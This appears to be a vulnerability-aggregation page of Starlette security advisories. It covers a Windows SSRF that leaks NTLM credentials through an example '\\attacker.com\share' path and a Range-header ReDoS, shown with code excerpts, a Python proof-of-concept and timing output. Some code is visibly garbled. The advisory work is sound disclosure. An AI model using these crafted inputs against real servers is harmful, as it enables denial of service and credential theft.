See how starlette compares to other vendors in security performance
Starlette is a lightweight ASGI framework/toolkit. In versions 1.0.1 and earlier, StaticFiles on Windows is vulnerable to SSRF. An UNC path such as \\attacker.com\share can cause os.path.realpath to initiate an outbound SMB connection before the path is rejected, exposing the service account’s NTLMv2 credentials for offline cracking or relay even though the HTTP response is only a 404. The issue affects default followsymlink=False deployments, including frameworks built on Starlette such as FastAPI; POSIX systems and followsymlink=True are unaffected. The issue is fixed in 1.1.0.
Summary An unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse).
Details Starlette parses multi-range requests in FileResponse.parserangeheader(), then merges ranges using an O(n^2) algorithm.
python starlette/responses.py RANGEPATTERN = re.compile(r"(\d)-(\d)") # vulnerable to O(n^2) complexity ReDoS
class FileResponse(Response): @staticmethod def parserangeheader(httprange: str, filesize: int) -> list[tuple[int, int]]: ranges: list[tuple[int, int]] = [] try: units, range = httprange.split("=", 1) except ValueError: raise MalformedRangeHeader()
# [...]
ranges = [ ( int([0]) if [0] else filesize - int([1]), int([1]) + 1 if [0] and [1] and int([1]) < filesize else filesize, ) for in RANGEPATTERN.findall(range) # vulnerable if != ("", "") ]
The parsing loop of FileResponse.parserangeheader() uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted Range header can maximize its complexity.
The merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.
This affects any Starlette application that uses:
- starlette.staticfiles.StaticFiles (internally returns FileResponse) — starlette/staticfiles.py:178 - Direct starlette.responses.FileResponse responses
PoC python #!/usr/bin/env python3
import sys import time
try: import starlette from starlette.responses import FileResponse except Exception as e: print(f"[ERROR] Failed to import starlette: {e}") sys.exit(1)
def buildpayload(length: int) -> str: """Build the Range header value body: '0' numzeros + '0-'""" return ("0" length) + "a-"
def test(header: str, filesize: int) -> float: start = time.perfcounter() try: FileResponse.parserangeheader(header, filesize) except Exception: pass end = time.perfcounter() elapsed = end - start return elapsed
def runonce(numzeros: int) -> None: rangebody = buildpayload(numzeros) header = "bytes=" + rangebody # Use a sufficiently large filesize so upper bounds default to file size filesize = max(len(rangebody) + 10, 1000000) print(f"[DEBUG] rangebody length: {len(rangebody)} bytes") elapsedtime = test(header, filesize) print(f"[DEBUG] elapsed time: {elapsedtime:.6f} seconds\n")
if name == "main": print(f"[INFO] Starlette Version: {starlette.version}") for n in [5000, 10000, 20000, 40000]: runonce(n)
""" $ python3 pocdosrange.py [INFO] Starlette Version: 0.48.0 [DEBUG] rangebody length: 5002 bytes [DEBUG] elapsed time: 0.053932 seconds
[DEBUG] rangebody length: 10002 bytes [DEBUG] elapsed time: 0.209770 seconds
[DEBUG] rangebody length: 20002 bytes [DEBUG] elapsed time: 0.885296 seconds
[DEBUG] rangebody length: 40002 bytes [DEBUG] elapsed time: 3.238832 seconds """
Impact Any Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.
A vulnerability in danswer-ai/danswer version 0.9.0 allows for denial of service through memory exhaustion. The issue arises from the use of a vulnerable version of the starlette package (<=0.49) via fastapi, which was patched in fastapi version 0.115.3. The vulnerability can be exploited by sending multiple requests to the /auth/saml/callback endpoint, leading to uncontrolled memory consumption and eventual denial of service.
In version 0.3.32 of open-webui, the application uses a vulnerable version of the starlette package through its dependency on fastapi. The starlette package versions <=0.49 are susceptible to uncontrolled resource consumption, which can be exploited to cause a denial of service through memory exhaustion. This issue is addressed in fastapi version 0.115.3.